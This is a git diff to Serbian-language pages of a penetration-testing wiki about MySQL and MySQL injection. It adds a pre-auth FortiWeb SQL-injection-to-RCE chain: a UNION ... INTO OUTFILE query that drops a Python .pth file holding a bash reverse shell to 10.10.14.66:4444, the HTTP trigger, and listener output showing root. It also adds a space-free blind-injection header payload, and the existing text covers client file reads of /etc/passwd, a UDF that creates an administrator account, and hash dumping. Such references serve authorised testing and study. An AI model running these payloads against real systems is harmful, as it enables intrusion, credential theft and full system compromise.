diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 327c26aa8..4e94b2184 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -1,10 +1,15 @@ # 3306 - Pentesting Mysql +{{#include /banners/hacktricks-training.md}} + +## References +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) + {{#include ../banners/hacktricks-training.md}} ## **Osnovne informacije** -**MySQL** se može opisati kao open source **Relational Database Management System (RDBMS)** koji je dostupan bez troškova. Radi na **Structured Query Language (SQL)**, omogućavajući upravljanje i manipulaciju bazama podataka. +**MySQL** se može opisati kao open source **Sistem za upravljanje relacionim bazama podataka (RDBMS)** koji je dostupan bez troškova. Radi na **Strukturiranom jeziku upita (SQL)**, omogućavajući upravljanje i manipulaciju bazama podataka. **Podrazumevani port:** 3306 ``` @@ -17,7 +22,7 @@ mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone) ``` -### Удалено +### Udaljeno ```bash mysql -h -u root mysql -h -u root@localhost @@ -109,21 +114,58 @@ Možete videti u dokumentaciji značenje svake privilegije: [https://dev.mysql.c ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} +#### INTO OUTFILE → Python `.pth` RCE (konfiguracione kuke specifične za sajt) + +Zloupotrebom klasične `INTO OUTFILE` primitive moguće je dobiti *izvršenje proizvoljnog koda* na ciljevima koji kasnije pokreću **Python** skripte. + +1. Koristite `INTO OUTFILE` da postavite prilagođenu **`.pth`** datoteku unutar bilo kog direktorijuma koji se automatski učitava od strane `site.py` (npr. `.../lib/python3.10/site-packages/`). +2. `.pth` datoteka može sadržati *jednu liniju* koja počinje sa `import ` praćenom proizvoljnim Python kodom koji će se izvršavati svaki put kada se interpreter pokrene. +3. Kada se interpreter implicitno izvršava putem CGI skripte (na primer `/cgi-bin/ml-draw.py` sa shebang `#!/bin/python`), payload se izvršava sa istim privilegijama kao proces web-servera (FortiWeb ga je pokrenuo kao **root** → potpuno pre-auth RCE). + +Primer `.pth` payload-a (jedna linija, bez razmaka koji se mogu uključiti u konačni SQL payload, tako da hex/`UNHEX()` ili spajanje stringova može biti potrebno): +```python +import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) +``` +Primer kreiranja fajla putem **UNION** upita (prostorni karakteri zamenjeni sa `/**/` kako bi se zaobišao `sscanf("%128s")` filter za prostore i zadržala ukupna dužina ≤128 bajtova): +```sql +'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' +``` +Važne ograničenja i zaobilaženja: + +* `INTO OUTFILE` **ne može prepisati** postojeće datoteke; izaberite novo ime datoteke. +* Putanja do datoteke se rešava **u odnosu na MySQL-ov CWD**, tako da prefiksiranje sa `../../` pomaže da se skraći putanja i zaobiđu ograničenja apsolutne putanje. +* Ako je unos napadača izvučen sa `%128s` (ili slično), svaki razmak će skratiti payload; koristite MySQL komentare `/**/` ili `/*!*/` da zamenite razmake. +* MySQL korisnik koji izvršava upit treba da ima `FILE` privilegiju, ali u mnogim uređajima (npr. FortiWeb) usluga se pokreće kao **root**, što daje pristup za pisanje gotovo svuda. + +Nakon što se izbaci `.pth`, jednostavno zatražite bilo koji CGI koji obrađuje python interpreter da biste dobili izvršenje koda: +``` +GET /cgi-bin/ml-draw.py HTTP/1.1 +Host: +``` +Python proces će automatski uvesti zlonamerni `.pth` i izvršiti shell payload. +``` +# Attacker +$ nc -lvnp 4444 +id +uid=0(root) gid=0(root) groups=0(root) +``` +--- + ## MySQL proizvoljno čitanje datoteka od strane klijenta -U stvari, kada pokušate da **učitate podatke lokalno u tabelu** **sadržaj datoteke**, MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Zatim, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\ -Molimo vas da primetite da je ovo ponašanje korišćenjem: +U stvari, kada pokušate da **učitate podatke lokalno u tabelu** iz **sadržaja datoteke**, MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Tada, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\ +Molimo vas da obratite pažnju da je ovo ponašanje korišćenjem: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(Обратите пажњу на реч "локални")\ -Пошто без "локални" можете добити: +(Obratite pažnju na reč "local")\ +Jer bez "local" možete dobiti: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` -**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ +**Početni PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ **U ovom radu možete videti potpunu opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Ovde možete pronaći pregled napada:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) @@ -146,7 +188,7 @@ U konfiguraciji MySQL usluga, različite postavke se koriste za definisanje njen - Postavka **`user`** se koristi za određivanje korisnika pod kojim će MySQL usluga biti izvršena. - **`password`** se primenjuje za uspostavljanje lozinke povezane sa MySQL korisnikom. -- **`admin_address`** specificira IP adresu koja sluša TCP/IP konekcije na administrativnom mrežnom interfejsu. +- **`admin_address`** specificira IP adresu koja sluša na TCP/IP konekcijama na administrativnom mrežnom interfejsu. - Varijabla **`debug`** ukazuje na trenutne konfiguracije za debagovanje, uključujući osetljive informacije unutar logova. - **`sql_warnings`** upravlja time da li se generišu informacione stringovi za INSERT izjave sa jednim redom kada se pojave upozorenja, sadržeći osetljive podatke unutar logova. - Sa **`secure_file_priv`**, opseg operacija uvoza i izvoza podataka je ograničen radi poboljšanja sigurnosti. @@ -214,7 +256,7 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` -### Izvlačenje MySQL kredencijala iz fajlova +### Izvlačenje MySQL akreditiva iz fajlova Unutar _/etc/mysql/debian.cnf_ možete pronaći **lozinku u običnom tekstu** korisnika **debian-sys-maint** ```bash @@ -224,7 +266,7 @@ Možete **koristiti ove akreditive za prijavu u mysql bazu podataka**. Unutar datoteke: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve hešove MySQL korisnika** (one koje možete izvući iz mysql.user unutar baze podataka)_._ -Možete ih izvući tako što ćete: +Možete ih izvući tako što ćete uraditi: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` @@ -234,9 +276,9 @@ Možete omogućiti logovanje mysql upita unutar `/etc/mysql/my.cnf` otkomentaris ![](<../images/image (899).png>) -### Korisni fajlovi +### Korisne datoteke -Konfiguracioni fajlovi +Konfiguracione datoteke - windows \* - config.ini @@ -253,12 +295,12 @@ Konfiguracioni fajlovi - /etc/my.cnf - Istorija komandi - \~/.mysql.history -- Log fajlovi +- Log datoteke - connections.log - update.log - common.log -## Podrazumevana MySQL Baza Podataka/Tabele +## Podrazumevana MySQL baza podataka/tabele {{#tabs}} {{#tab name="information_schema"}} @@ -609,6 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -​ +## Reference +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md index daf26ce8d..667ae076f 100644 --- a/src/pentesting-web/sql-injection/mysql-injection/README.md +++ b/src/pentesting-web/sql-injection/mysql-injection/README.md @@ -52,7 +52,7 @@ from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/] ## Tok -Zapamtite da u "modernim" verzijama **MySQL** možete zameniti "_**information_schema.tables**_" za "_**mysql.innodb_table_stats**_**"** (Ovo može biti korisno za zaobilaženje WAF-ova). +Zapamtite da u "modernim" verzijama **MySQL** možete zameniti "_**information_schema.tables**_" sa "_**mysql.innodb_table_stats**_**"** (Ovo može biti korisno za zaobilaženje WAF-ova). ```sql SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables SELECT column_name FROM information_schema.columns WHERE table_name=""; #Get name of the columns of the table @@ -71,15 +71,15 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges ### **Slepo dodavanje** -- `LPAD(version(),1...dužina(version()),'1')='asd'...` -- `RPAD(version(),1...dužina(version()),'1')='asd'...` -- `SELECT RIGHT(version(),1...dužina(version()))='asd'...` -- `SELECT LEFT(version(),1...dužina(version()))='asd'...` +- `LPAD(version(),1...lenght(version()),'1')='asd'...` +- `RPAD(version(),1...lenght(version()),'1')='asd'...` +- `SELECT RIGHT(version(),1...lenght(version()))='asd'...` +- `SELECT LEFT(version(),1...lenght(version()))='asd'...` - `SELECT INSTR('foobarbar', 'fo...')=1` ## Otkrivanje broja kolona -Koristeći jednostavan ORDER +Korišćenje jednostavnog ORDER ``` order by 1 order by 2 @@ -92,7 +92,7 @@ UniOn SeLect 1,2 UniOn SeLect 1,2,3 ... ``` -## MySQL Unija Zasnovana +## MySQL Union Based ```sql UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=... @@ -101,7 +101,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ``` ## SSRF -**Naučite ovde različite opcije za** [**zloupotrebu Mysql injekcije da dobijete SSRF**](mysql-ssrf.md)**.** +**Saznajte ovde različite opcije za** [**zloupotrebu Mysql injekcije da dobijete SSRF**](mysql-ssrf.md)**.** ## WAF bypass trikovi @@ -138,11 +138,33 @@ select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` Više informacija na [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) +### Injekcija bez PROSTORA (`/**/` trik sa komentarima) + +Neke aplikacije sanitizuju ili analiziraju korisnički unos pomoću funkcija kao što je `sscanf("%128s", buf)` koje **staju na prvom razmaku**. +Pošto MySQL tretira sekvencu `/**/` kao komentar *i* kao razmak, može se koristiti za potpuno uklanjanje normalnih razmaka iz payload-a dok se upit sintaktički održava validnim. + +Primer vremenski zasnovane slepe injekcije koja zaobilazi filter razmaka: +```http +GET /api/fabric/device/status HTTP/1.1 +Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-' +``` +Koji baza podataka prima kao: +```sql +' OR SLEEP(5)-- -' +``` +Ovo je posebno korisno kada: + +* Kontrolisani bafer je ograničenog veličine (npr. `%128s`) i razmaci bi prerano prekinuli unos. +* Injektovanje kroz HTTP zaglavlja ili druga polja gde se normalni razmaci uklanjaju ili koriste kao razdvojivači. +* U kombinaciji sa `INTO OUTFILE` primitivima za postizanje potpunog pre-auth RCE (vidi odeljak o MySQL File RCE). + +--- + ### MySQL istorija Možete videti druge izvršenja unutar MySQL-a čitajući tabelu: **sys.x$statement_analysis** -### Verzija alternative**s** +### Verzija alternativa**s** ``` mysql> select @@innodb_version; mysql> select @@version; @@ -150,11 +172,12 @@ mysql> select version(); ``` ## Ostali MYSQL injection vodiči -- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) ## Reference -- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../../../banners/hacktricks-training.md}}